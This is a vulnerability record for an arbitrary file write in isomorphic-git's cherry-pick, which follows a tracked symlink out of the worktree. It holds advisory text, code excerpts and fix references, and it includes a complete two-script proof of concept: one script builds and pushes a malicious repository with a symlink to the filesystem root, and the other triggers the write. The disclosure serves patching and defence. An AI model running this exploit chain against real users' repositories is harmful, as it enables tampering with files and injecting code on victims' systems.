{"id":"CVE-2026-86017","aliases":["GHSA-pvh8-4vwp-j58p"],"url":"https://o3.security/vulnerability/CVE-2026-86017","summary":"isomorphic-git: Arbitrary File Write via Symlink","details":"### Summary\nThere is an **arbitrary file write vulnerability** in `isomorphic-git` (verified on `v1.38.7`). When applying tree changes during `git cherry-pick`, the helper `applyTreeChanges` materializes files by joining the worktree root with the entry path and writing the blob contents, but it never checks whether any leading path component is a symbolic link. An attacker who can cause a victim repository to contain a tracked symlink such as `link -> /` can later supply a cherry-pick tree containing `link/tmp/<file>`; `isomorphic-git` follows the symlink and writes the file outside the worktree. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.\n\n### Details\nThe vulnerable logic is in `applyTreeChanges` at `src/utils/walkerToTreeEntryMap.js:260-295`. For every changed blob it builds the on-disk path and writes it directly:\n\n```javascript\n// src/utils/walkerToTreeEntryMap.js:260-295\n// apply the changes to work dir\nawait acquireLock({ fs, gitdir, dirRemoved, ops }, async () => {\n  for (const op of ops) {\n    const currentFilepath = join(dir, op.filepath)\n    switch (op.method) {\n      // ...\n      case 'write':\n        // only writes if file is not in the removedDirs\n        if (\n          !dirRemoved.some(removedDir =>\n            currentFilepath.startsWith(removedDir)\n          )\n        ) {\n          const { object } = await _readObject({\n            fs,\n            cache: {},\n            gitdir,\n            oid: op.oid,\n          })\n          // just like checkout, since mode only applicable to create, not update, delete first\n          if (await fs.exists(currentFilepath)) {\n            await fs.rm(currentFilepath)\n          }\n          await fs.write(currentFilepath, object) // only handles regular files for now\n        }\n        break\n    }\n  }\n})\n```\n\n`join(dir, op.filepath)` produces a path such as `/victim/link/tmp/isomorphic-git-poc-01`. When `link` is a tracked symlink to `/`, the subsequent `fs.write(currentFilepath, object)` follows the symlink and writes `/tmp/isomorphic-git-poc-01`. No call is made to the leading-path symlink guard that the main checkout code uses.\n\nThe main checkout routine protects the exact same operation with `assertNoSymlinkInLeadingPath` (`src/commands/checkout.js:30-43`):\n\n```javascript\n// src/commands/checkout.js:30-43\nasync function assertNoSymlinkInLeadingPath(fs, dir, fullpath) {\n  const parts = fullpath.split('/')\n  parts.pop() // the final segment is the entry being written, not a leading dir\n  let current = dir\n  for (const part of parts) {\n    if (part === '' || part === '.') continue\n    current = `${current}/${part}`\n    const stats = await fs.lstat(current)\n    // lstat returns null when the path doesn't exist yet (nothing to traverse).\n    if (stats && stats.isSymbolicLink()) {\n      throw new UnsafeFilepathError(fullpath)\n    }\n  }\n}\n```\n\nThat guard is invoked by the regular checkout path at `src/commands/checkout.js:251`, `:324` and `:731`, but it is **not** invoked by `applyTreeChanges`.\n\n\n### PoC\n1. Build/push the malicious repo:\n\n```sh\n#!/usr/bin/env bash\nset -euo pipefail\n\nREMOTE_URL='ssh://git@127.0.0.1:222/admin/test-repo.git'\nBRANCH='isomorphic-poc'\nTARGET_DIR='/'\nMARKER_NAME='isomorphic-git-poc-01'\nMARKER_CONTENT='pwned by isomorphic-git'\nBUILD_BASE='./isogit-poc'\nREPO_DIR=\"$BUILD_BASE/repo\"\n\nOIDS_FILE=\"$(cd \"$(dirname \"$0\")\" && pwd)/poc-oids.env\"\n\nexport GIT_SSH_COMMAND='ssh -p 222 -o BatchMode=yes -o StrictHostKeyChecking=no'\n\nlog() { echo \"[+] $*\" >&2; }\n\nreset_remote_branch() {\n  local path=\"$1\"\n  git init \"$path\" -q -b main\n  git -C \"$path\" commit --allow-empty -m reset -q\n  git -C \"$path\" push --force \"$REMOTE_URL\" \"main:$BRANCH\" >/dev/null 2>&1\n}\n\n# git_commit <repo> <tree_oid> [<parent_oid>] -> commit_oid\ngit_commit() {\n  local repo=\"$1\" tree=\"$2\" parent=\"${3:-}\"\n  local now tz author body_file oid\n  now=$(date +%s)\n  tz=$(date +%z)\n  author=\"attacker <attacker@example.com> ${now} ${tz}\"\n  body_file=$(mktemp)\n  {\n    echo \"tree $tree\"\n    [ -n \"$parent\" ] && echo \"parent $parent\"\n    echo \"author $author\"\n    echo \"committer $author\"\n    echo\n    echo \"poc\"\n  } > \"$body_file\"\n  oid=$(git -C \"$repo\" hash-object -w -t commit --stdin < \"$body_file\")\n  rm -f \"$body_file\"\n  echo -n \"$oid\"\n}\n\nmain() {\n  mkdir -p \"$BUILD_BASE\"\n  local tmp_reset\n  tmp_reset=$(mktemp -d)\n  trap 'rm -rf \"${tmp_reset:-}\" \"$BUILD_BASE\"' EXIT\n\n  reset_remote_branch \"$tmp_reset\"\n  log \"reset remote branch $BRANCH\"\n\n  rm -rf \"$REPO_DIR\"\n  mkdir -p \"$REPO_DIR\"\n  git init \"$REPO_DIR\" -q -b main\n  ln -s \"$TARGET_DIR\" \"$REPO_DIR/link\"\n  git -C \"$REPO_DIR\" add link\n  git -C \"$REPO_DIR\" commit -q -m 'init symlink'\n  local head_oid\n  head_oid=$(git -C \"$REPO_DIR\" rev-parse HEAD)\n\n  # Build the malicious tree: link/tmp/<marker>.\n  local blob_oid file_tree_oid sub_tree_oid mal_tree_oid mal_commit_oid\n  blob_oid=$(echo -n \"$MARKER_CONTENT\" | git -C \"$REPO_DIR\" hash-object -w --stdin)\n  file_tree_oid=$(echo \"100644 blob $blob_oid\t$MARKER_NAME\" | git -C \"$REPO_DIR\" mktree)\n  sub_tree_oid=$(echo \"040000 tree $file_tree_oid\ttmp\" | git -C \"$REPO_DIR\" mktree)\n  mal_tree_oid=$(echo \"040000 tree $sub_tree_oid\tlink\" | git -C \"$REPO_DIR\" mktree)\n\n  mal_commit_oid=$(git_commit \"$REPO_DIR\" \"$mal_tree_oid\" \"$head_oid\")\n  git -C \"$REPO_DIR\" update-ref refs/heads/main \"$mal_commit_oid\"\n  git -C \"$REPO_DIR\" push --force \"$REMOTE_URL\" \"main:$BRANCH\" >/dev/null 2>&1\n  log \"pushed malicious commit $mal_commit_oid\"\n\n  cat > \"$OIDS_FILE\" <<EOF\nHEAD_OID=$head_oid\nMAL_COMMIT_OID=$mal_commit_oid\nEOF\n}\n\nmain \"$@\"\n```\n\n2. Trigger the vulnerability through the SDK from a fresh clone:\n\n```js\nconst fs = require('fs')\n// Install isomorphic-git v1.38.7 locally before running this PoC:\n//   npm install --no-save isomorphic-git@1.38.7\nconst { default: git } = require('isomorphic-git')\n\nconst REMOTE_URL = 'http://127.0.0.1:3000/admin/test-repo.git'\nconst BRANCH = 'isomorphic-poc'\nconst VICTIM_DIR = './victim'\nconst OIDS_FILE = __dirname + '/poc-oids.env'\n\nfunction loadOids() {\n  if (!fs.existsSync(OIDS_FILE)) {\n    console.error(`[-] oids file not found: ${OIDS_FILE} (run ./build_repo.sh first)`)\n    process.exit(2)\n  }\n  const env = {}\n  for (const line of fs.readFileSync(OIDS_FILE, 'utf8').split('\\n')) {\n    const m = line.match(/^([A-Z_]+)=(.*)$/)\n    if (m) env[m[1]] = m[2]\n  }\n  if (!env.HEAD_OID || !env.MAL_COMMIT_OID) {\n    console.error(`[-] oids file missing HEAD_OID or MAL_COMMIT_OID`)\n    process.exit(2)\n  }\n  return env\n}\n\nasync function main() {\n  const { HEAD_OID, MAL_COMMIT_OID } = loadOids()\n\n  fs.rmSync(VICTIM_DIR, { recursive: true, force: true })\n  fs.mkdirSync(VICTIM_DIR, { recursive: true })\n\n  console.log(`[+] clone ${REMOTE_URL} -> ${VICTIM_DIR}`)\n  await git.clone({\n    fs,\n    http: require('isomorphic-git/http/node'),\n    dir: VICTIM_DIR,\n    url: REMOTE_URL,\n    ref: BRANCH,\n    singleBranch: true,\n    noCheckout: true,\n  })\n\n  console.log(`[+] checkout symlink commit ${HEAD_OID.slice(0, 8)}`)\n  await git.checkout({ fs, dir: VICTIM_DIR, ref: HEAD_OID })\n\n  console.log(`[+] cherryPick ${MAL_COMMIT_OID.slice(0, 8)}`)\n  await git.cherryPick({\n    fs,\n    dir: VICTIM_DIR,\n    oid: MAL_COMMIT_OID,\n    author: { name: 'poc', email: 'poc@example.com' },\n    committer: { name: 'poc', email: 'poc@example.com' },\n  })\n\n  console.log('[+] done')\n}\n\nmain().catch(err => { console.error(err); process.exit(1) })\n```\n\n3. Verify the arbitrary write:\n\n```sh\n$ cat /tmp/isomorphic-git-poc-01\n# pwned by isomorphic-git\n```\n### Impact\nThis leads to an arbitrary file write relative to the filesystem root (or anywhere the symlink points), enabling data tampering, code injection into interpreted files, and other follow-on impact depending on the target path.","published":"2026-11-20T18:06:13.920Z","modified":"2026-11-21T21:00:57.216980169Z","cvss":{"score":8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"},"epss":{"score":0.00583,"percentile":0.41883,"asOf":"2026-11-30"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"isomorphic-git","fixedVersion":"1.38.8"}],"fix":{"url":"https://github.com/isomorphic-git/isomorphic-git/commit/4664c8e1147c3c7ba87c027e92093d28607ef4c0","label":"isomorphic-git/isomorphic-git@4664c8e"},"references":[{"type":"WEB","url":"https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.8"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86017.json"},{"type":"ADVISORY","url":"https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-pvh8-4vwp-j58p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86017"},{"type":"FIX","url":"https://github.com/isomorphic-git/isomorphic-git/commit/4664c8e1147c3c7ba87c027e92093d28607ef4c0"},{"type":"FIX","url":"https://github.com/isomorphic-git/isomorphic-git/pull/2377"},{"type":"PACKAGE","url":"https://github.com/isomorphic-git/isomorphic-git"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-21T21:00:57.216980169Z"}}